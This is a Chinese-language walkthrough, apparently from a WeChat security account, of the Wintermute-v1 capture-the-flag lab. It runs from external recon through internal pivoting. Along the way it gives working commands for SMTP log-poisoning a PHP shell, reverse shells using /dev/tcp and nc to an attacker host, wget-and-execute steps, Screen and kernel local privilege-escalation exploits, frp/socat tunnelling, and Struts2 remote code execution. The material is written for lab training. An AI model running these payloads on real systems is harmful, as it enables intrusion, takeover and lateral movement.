信息收集:发现目标
发现主机
使用nmap扫描目标网段
nmap -sP 192.168.100.0/24
目标主机:192.168.100.7
扫描端口
扫描靶机开放端口
nmap -sV -p- 192.168.100.7
发现服务:
25/tcp:SMTP服务(Postfix)
80/tcp:Apache HTTP服务
3000/tcp:Mongoose Web服务
Web渗透:漏洞利用
初探Web服务
访问80端口
访问http://192.168.100.7/xwx.html无有效信息
访问3000端口
访问http://192.168.100.7:3000发现ntopng网络流量监控
Hint: the default user and password are admin
提示:默认用户和密码为 admin
登录ntopng
使用默认账号admin/admin登录成功,在Flows发现*/turing-bolo/* 和*/freeside/* 目录
在3000端口访问返回404状态
80端口Web访问目录
访问http://192.168.100.7/turing-bolo/
信息:Case、Molly、Armitage、Riviera
文件包含漏洞
http://192.168.100.7/turing-bolo/bolo.php?bolo=case
通过/turing-bolo/bolo.php的参数bolo尝试文件包含,发现仅支持.log文件。
包含/var/log/mail日志
包含/var/log/mail日志文件,获取邮件系统日志:
http://192.168.100.7/turing-bolo/bolo.php?bolo=/var/log/mail
反弹shell
通过SMTP发送恶意邮件,注入PHP代码:
nc 192.168.100.7 25EHLO kaliMAIL FROM:"123<?php system($_GET[cmd]);?>"RCPT TO:rootDATA.
监听端口
nc -nlvvp 8888
shell进行URL编码
bash -c 'sh -i &>/dev/tcp/192.168.100.4/8888 0>&1'
URL编码后:
%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%34%2f%38%38%38%38%20%30%3e%26%31%27
命令执行
触发命令执行,获取反向Shell
http://192.168.100.7/turing-bolo/bolo.php?bolo=/var/log/mail&cmd=%62%61%73%68%20%2d%63%20%27%73%68%20%2d%69%20%26%3e%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%34%2f%38%38%38%38%20%30%3e%26%31%27
提升shell交互性
python -c 'import pty;pty.spawn("/bin/bash")'
权限提升:从普通用户到Root
SUID提权
查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/null
发现/bin/screen-4.5.0。
查找漏洞
searchsploit screen 4.5.0 GNU Screen 4.5.0 - Local Privilege Escalation linux/local/41154.shsearchsploit screen 4.5.0 -m 41154.sh
传输文件
打开apache2,将文件移动到网站根目录
systemctl start apache2.servicemv 41154.sh /var/www/html
靶机下载文件
cd /tmpwget http://192.168.100.4/41154.shchmod +x 41154.sh
利用公开漏洞GNU Screen 4.5.0本地提权
./41154.sh
提权成功
查看root家目录
cd /rootls -l flag.txt note.txt scripts
获取flag
cat flag.txt
Flag:5ed185fd75a8d6a7056c96a436c6d8aa
内网主机的信息
cat note.txt
URL:/struts2_2.3.15.1-showcase
内网横向:突破边界
发现内网网段
Web靶机查看网卡信息
ip a 192.168.100.7/24 172.16.10.101/24
靶机存在双网卡,内网IP为172.16.10.101
kali传输扫描网段的脚本
vi 0.sh#!/bin/bashfor i in {1..254}do ping -c 1 172.16.10.$i &>/dev/null && echo 172.16.10.$i is alive &donecp 0.sh /var/www/html
Web靶机下载脚本
cd /tmpwget http://192.168.100.4/0.shchmod +x 0.sh
使用脚本扫描内网存活主机
./0.sh
内网主机:172.16.10.100
扫描端口
nc -z -v -n -t 172.16.10.100 1-65535
发现端口:
(UNKNOWN) [172.16.10.100] 34483 (?) open(UNKNOWN) [172.16.10.100] 8080 (http-alt) open(UNKNOWN) [172.16.10.100] 8009 (?) open
搭建frp
通过frp搭建Socks5代理,穿透内网:
修改服务端frps.ini文件
cd frpvi frps.ini [common] bind_port = 7000
修改客户端frpc.ini文件
vi frpc.ini [common] server_addr = 192.168.100.4 server_port = 7000 [socks5]type = tcp remote_port = 6000 plugin = socks5
传输文件
cp frpc /var/www/htmlcp frpc.ini /var/www/html
kali运行服务端
./frps -c frps.ini
Web靶机下载文件
cd /tmpwget http://192.168.100.4/frpcwget http://192.168.100.4/frpc.inichmod +x frpc frpc.ini
Web靶机运行客户端
./frpc -c frpc.ini
kali设置全局代理
vi /etc/proxychains4.confsocks5 192.168.100.4 6000
内网主机端口扫描
proxychains nmap -sV -p 8009,8080,34483 172.16.10.100
发现服务:
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)8080/tcp open http Apache Tomcat 9.0.0.M2634483/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
内网Web渗透
浏览器设置代理:socks5:192.168.100.4:6000
访问8080端口
http://172.16.10.100:8080/
apache默认页面
访问/struts2_2.3.15.1-showcase
http://172.16.10.100:8080/struts2_2.3.15.1-showcase/showcase.action
struts框架 2.3.15版本
查找漏洞
searchsploit struts 2.3 Apache Struts 2.3.x Showcase - Remote Code Executionsearchsploit struts 2.3 -m 42324.py
使用说明
python 42324.py python 42324.py <url> <cmd>
Web靶机端口转发
socat TCP4-LISTEN:5000,reuseaddr,fork TCP4:192.168.100.4:5000 &socat TCP4-LISTEN:4000,reuseaddr,fork TCP4:192.168.100.4:4000 &netstat -tnlp
5000端口用于反弹shell,4000端口用于传输文件
反弹shell
shell的sh脚本
vi shell.sh rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.10.101 5000 >/tmp/f
监听端口
nc -nlvvp 5000
传输文件
python -m http.server 4000
Struts2漏洞利用
下载shell文件
proxychains python 42324.py http://172.16.10.100:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://172.16.10.101:4000/shell.sh -O /tmp/shell.sh"
增加执行权限
proxychains python 42324.py http://172.16.10.100:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/shell.sh"
执行shell脚本
proxychains python 42324.py http://172.16.10.100:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/shell.sh"
反弹成功
二次提权:内核漏洞利用
查看系统内核
uname -a linux neuromancer 4.4.0-116-genericlsb_release -a Ubuntu 16.04.4 LTS
查找漏洞
searchsploit linux 4.4 ubuntu 16.04 Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation linux/local/44298.csearchsploit linux 4.4 ubuntu 16.04 -m 44298.c
搜索公开漏洞,发现Linux Kernel <4.4.0-116本地提权漏洞
编译并执行EXP
编译文件
gcc 44298.c -o 44298
内网靶机下载文件并增加权限
cd /tmpwget http://172.16.10.101:4000/44298chmod +x 44298
执行文件提权
./44298
提权成功
红队全栈教学
可在公众号回复“红队”获取群链接
OSCP+
原文始发于微信公众号(泷羽Sec-Ceo):Wintermute-v1靶机实战:从外网渗透到内网横向移动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论